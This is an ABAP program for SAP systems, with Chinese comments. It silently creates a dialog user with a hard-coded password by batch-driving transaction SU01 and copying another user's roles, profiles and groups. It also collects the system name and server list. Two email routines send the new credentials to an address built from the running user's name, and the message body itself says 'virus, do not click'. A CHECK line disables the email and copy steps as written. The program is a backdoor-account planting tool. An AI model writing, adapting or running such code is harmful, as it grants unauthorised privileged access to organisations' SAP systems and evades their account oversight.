1 CONSTANTS:gv_copyer TYPE usr02-bname VALUE 'XXXX',
2 gv_user TYPE usr02-bname VALUE 'XXXX001',
3 gv_pwd TYPE string VALUE 'Aa123456789'.
4 DATA:gv_email TYPE adr6-smtp_addr VALUE '$$@XXXX.com'.
5
6 PERFORM frm_create_user.
7 PERFORM frm_get_server_info.
8 CHECK 1 = 2.
9 PERFORM frm_send_email.
10 PERFORM frm_copy_user.
11
12 FORM frm_copy_user.
13 CALL FUNCTION 'SUSR_USER_COPY'
14 EXPORTING
15 user_name_1 = gv_copyer
16 user_name_2 = gv_user.
17
18 CALL FUNCTION 'BAPI_TRANSACTION_COMMIT'
19 EXPORTING
20 wait = 'X'.
21
22 ENDFORM.
23
24 FORM frm_create_user.
25 DATA:lt_bdc TYPE TABLE OF bdcdata.
26 DATA opt TYPE ctu_params.
27 SELECT SINGLE @abap_true INTO @DATA(lv_subrc)
28 FROM usr02
29 WHERE bname = @gv_user.
30 IF sy-subrc <> 0.
31 lt_bdc = VALUE #(
32 ( program = 'SAPLSUID_MAINTENANCE' dynpro = '1050' dynbegin = 'X' )
33 ( fnam = 'BDC_OKCODE' fval = '=COPY' )
34 ( fnam = 'SUID_ST_BNAME-BNAME' fval = gv_user )
35
36 ( program = 'SAPLSUID_MAINTENANCE' dynpro = '1200' dynbegin = 'X' )
37 ( fnam = 'BDC_OKCODE' fval = '=COPY' )
38 ( fnam = 'GV_COPY_UNAME_SRC' fval = gv_copyer )
39 ( fnam = 'GV_COPY_UNAME_DST' fval = gv_user )
40 ( fnam = 'GS_COPY_OPTIONS-DEFAULTS' fval = 'X' )
41 ( fnam = 'GS_COPY_OPTIONS-PARAMETERS' fval = 'X' )
42 ( fnam = 'GS_COPY_OPTIONS-REFUSER' fval = 'X' )
43 ( fnam = 'GS_COPY_OPTIONS-ROLES' fval = 'X' )
44 ( fnam = 'GS_COPY_OPTIONS-PROFILES' fval = 'X' )
45 ( fnam = 'GS_COPY_OPTIONS-USERGROUPS' fval = 'X' )
46 ( fnam = 'GS_COPY_OPTIONS-PERS' fval = 'X' )
47 ( fnam = 'GS_COPY_OPTIONS-UCLASS' fval = 'X' )
48 ( fnam = 'GS_COPY_OPTIONS-EASY_ACCESS' fval = 'X' )
49
50 ( program = 'SAPLSUID_MAINTENANCE' dynpro = '1100' dynbegin = 'X' )
51 ( fnam = 'BDC_OKCODE' fval = '=UPD' )
52 ( fnam = 'SUID_ST_NODE_LOGONDATA-USTYP' fval = 'A' )
53 ( fnam = 'SUID_ST_NODE_PASSWORD_EXT-PASSWORD' fval = gv_pwd )
54 ( fnam = 'SUID_ST_NODE_PASSWORD_EXT-PASSWORD2' fval = gv_pwd )
55
56 ( program = 'SAPLSUID_MAINTENANCE' dynpro = '1050' dynbegin = 'X' )
57 ( fnam = 'BDC_OKCODE' fval = '=UPD' )
58 ( fnam = 'SUID_ST_BNAME-BNAME' fval = gv_user ) ).
59
60 opt-dismode = 'E'.
61 opt-defsize = 'X'.
62
63 TRY.
64 CALL TRANSACTION 'SU01' WITH AUTHORITY-CHECK
65 USING lt_bdc OPTIONS FROM opt.
66 CATCH cx_sy_authorization_error.
67 ENDTRY.
68 ENDIF.
69 ENDFORM.
70
71 FORM frm_get_server_info.
72
73 DATA:l_value TYPE string.
74 cl_spfl_profile_parameter=>get_value(
75 EXPORTING
76 name = 'SAPSYSTEMNAME'
77 IMPORTING
78 value = l_value ).
79
80 DATA:list LIKE msxxlist OCCURS 0 WITH HEADER LINE,
81 list_ipv6 LIKE msxxlist_v6 OCCURS 0 WITH HEADER LINE.
82 CALL FUNCTION 'TH_SERVER_LIST'
83 EXPORTING
84 active_server = 0
85 TABLES
86 list = list
87 list_ipv6 = list_ipv6
88 EXCEPTIONS
89 no_server_list = 1
90 OTHERS = 2.
91
92 DATA:lv_port(20).
93 LOOP AT list.
94 CALL FUNCTION 'GWY_SERVNO2STRING'
95 EXPORTING
96 servno = list-servno
97 IMPORTING
98 string = lv_port.
99 ENDLOOP.
100 ENDFORM.
101
102 FORM frm_send_email.
103
104 **********************************************************************
105 REPLACE ALL OCCURRENCES OF '$$' IN gv_email WITH sy-uname.
106 *发邮件方式一
107 DATA: ls_docdata TYPE sodocchgi1, "邮件抬头信息
108 lt_packlist TYPE TABLE OF sopcklsti1 WITH HEADER LINE, "传输内容格式
109 lt_contxt TYPE TABLE OF solisti1 WITH HEADER LINE, "邮件正文
110 lt_conhex TYPE TABLE OF solix WITH HEADER LINE, "二进制内容
111 lt_objbin TYPE TABLE OF solisti1 WITH HEADER LINE, "附件内容
112 lt_objheader TYPE TABLE OF solisti1 WITH HEADER LINE, "附件名称
113 lt_receivers TYPE TABLE OF somlreci1 WITH HEADER LINE. "收件人信息
114
115 DATA: lv_tablines TYPE i,
116 lv_string TYPE string,
117 lv_mimetype TYPE char64 VALUE 'APPLICATION/MSEXCEL;charset=utf-8',
118 lv_xattach TYPE xstring.
119
120 CONSTANTS:
121 lc_tab TYPE c VALUE cl_bcs_convert=>gc_tab, "CL_ABAP_CHAR_UTILITIES=>HORIZONTAL_TAB
122 lc_crlf TYPE c VALUE cl_bcs_convert=>gc_crlf. "CL_ABAP_CHAR_UTILITIES=>CR_LF
123
124 ***邮件主题
125 CLEAR ls_docdata.
126 ls_docdata-obj_name = 'EMAIL'. "文档名称 名称随便取
127 ls_docdata-obj_descr = 'SAP系统自动创建用户'. "邮件的主题
128
129 ***邮件正文(手动赋值或取表数据)
130 CLEAR:lt_contxt,lt_contxt[].
131 lt_contxt-line = ''.
132 APPEND lt_contxt.
133 lt_contxt-line = 'Hello Dear:
'.
134 APPEND lt_contxt.
135 lt_contxt-line = '您的SAP账号为:' && gv_user && '您的密码为:' && gv_pwd && '请登录系统后及时修改初始密码
'.
136 APPEND lt_contxt.
137 lt_contxt-line = '病毒勿点!!!'.
138 APPEND lt_contxt.
139
140 lt_contxt-line = '' && sy-datum+0(4) && '年' && sy-datum+4(2) && '月' && sy-datum+4(2) && '日' && sy-uzeit+0(2) && ':' && sy-uzeit+2(2) && ':' && sy-uzeit+4(2) && '
'.
141 APPEND lt_contxt.
142 lt_contxt-line = ''.
143 APPEND lt_contxt.
144
145 *添加邮件正文内容格式
146 lv_tablines = lines( lt_contxt[] ).
147 READ TABLE lt_contxt INDEX lv_tablines.
148 ls_docdata-doc_size = ( lv_tablines - 1 ) * 255 + strlen( lt_contxt ). "文档的大小
149
150 CLEAR:lt_packlist,lt_packlist[].
151 lt_packlist-head_start = 1.
152 lt_packlist-head_num = 0.
153 lt_packlist-body_start = 1.
154 lt_packlist-body_num = lv_tablines.
155 lt_packlist-doc_type = 'HTML'.
156 APPEND lt_packlist.
157
158 ***收件人(手动赋值或取表数据)
159 CLEAR:lt_receivers,lt_receivers[].
160 lt_receivers-receiver = gv_email. "接收人邮箱
161 lt_receivers-rec_type = 'U'. "收件人类型,具体可看字段的域值
162 lt_receivers-express = 'X'. "快件
163 APPEND lt_receivers.
164
165 ***发送邮件
166 CALL FUNCTION 'SO_NEW_DOCUMENT_ATT_SEND_API1'
167 EXPORTING
168 document_data = ls_docdata "邮件标题
169 put_in_outbox = 'X'
170 commit_work = 'X'
171 * IMPORTING
172 * SENT_TO_ALL =
173 * NEW_OBJECT_ID =
174 TABLES
175 packing_list = lt_packlist "传输内容格式
176 object_header = lt_objheader "附件名称
177 * CONTENTS_BIN =
178 contents_txt = lt_contxt "邮件文字内容
179 contents_hex = lt_conhex "二进制内容
180 * OBJECT_PARA =
181 * OBJECT_PARB =
182 receivers = lt_receivers "接收人列表
183 EXCEPTIONS
184 too_many_receivers = 1
185 document_not_sent = 2
186 document_type_not_exist = 3
187 operation_no_authorization = 4
188 parameter_error = 5
189 x_error = 6
190 enqueue_error = 7
191 OTHERS = 8.
192
193 IF sy-subrc NE 0.
194 MESSAGE '邮件发送失败' TYPE 'E'.
195
196 ELSE.
197 * 如果不自动送,加上执行邮件立即发送程序代码
198 SUBMIT rsconn01 WITH mode = 'INT'
199 WITH output = 'X' "显示发送结果 可以使用空
200 AND RETURN.
201 MESSAGE '发送成功' TYPE 'S'.
202 ENDIF.
203 **********************************************************************
204
205
206
207 CHECK 1 = 1.
208 **********************************************************************
209 *发邮件方式二
210 DATA: lv_title TYPE so_obj_des,
211 send_request TYPE REF TO cl_bcs,
212 document TYPE REF TO cl_document_bcs,
213 conlengths TYPE so_obj_len,
214 html TYPE STANDARD TABLE OF w3html,
215 wa_html TYPE w3html,
216 sender_id TYPE REF TO if_sender_bcs,
217 recipient TYPE REF TO if_recipient_bcs,
218 sent_to_all TYPE os_boolean,
219 bcs_exception TYPE REF TO cx_bcs,
220 bcs_message TYPE string.
221
222 lv_title = 'SAP系统自动创建用户'.
223 wa_html-line = ''.
224 APPEND wa_html TO html.
225
226 wa_html-line = 'Hello Dear:
'.
227 APPEND wa_html TO html.
228 wa_html-line = '您的SAP账号为:' && gv_user && '您的密码为:' && gv_pwd && '请登录系统后及时修改初始密码
'.
229 APPEND wa_html TO html.
230 wa_html-line = '' && sy-datum+0(4) && '年' && sy-datum+4(2) && '月' && sy-datum+4(2) && '日' && sy-uzeit+0(2) && ':' && sy-uzeit+2(2) && ':' && sy-uzeit+4(2) && '
'.
231 APPEND wa_html TO html.
232
233 wa_html-line = ''.
234 APPEND wa_html TO html.
235
236 TRY.
237 CLEAR send_request.
238 send_request = cl_bcs=>create_persistent( ).
239
240 CLEAR document .
241 document = cl_document_bcs=>create_document( i_type = 'HTM'
242 i_text = html
243 i_length = conlengths
244 i_subject = lv_title ).
245
246 CALL METHOD send_request->set_document( document ).
247
248 CLEAR:sender_id,recipient .
249 sender_id = cl_cam_address_bcs=>create_internet_address( gv_email ).
250 recipient = cl_cam_address_bcs=>create_internet_address( gv_email ).
251
252 * Set sender
253 CALL METHOD send_request->set_sender
254 EXPORTING
255 i_sender = sender_id.
256
257
258 CALL METHOD send_request->add_recipient
259 EXPORTING
260 i_recipient = recipient
261 i_express = 'X'.
262
263 * Set E-mail sending options
264 CALL METHOD send_request->set_status_attributes
265 EXPORTING
266 i_requested_status = 'E'
267 i_status_mail = 'E'.
268 CALL METHOD send_request->set_send_immediately( 'X' ).
269
270
271 CALL METHOD send_request->send(
272 EXPORTING
273 i_with_error_screen = 'X'
274 RECEIVING
275 result = sent_to_all ).
276
277 IF sent_to_all = 'X'.
278 MESSAGE '邮件发送成功' TYPE 'S'.
279 ENDIF.
280 COMMIT WORK.
281
282 CATCH cx_bcs INTO bcs_exception.
283 bcs_message = bcs_exception->get_text( ).
284 MESSAGE bcs_exception TYPE 'E'.
285 EXIT.
286 ENDTRY.
287 SUBMIT rsconn01 WITH mode = 'INT'
288 WITH output = 'X' "显示发送结果 可以使用空
289 AND RETURN.
290
291 ENDFORM.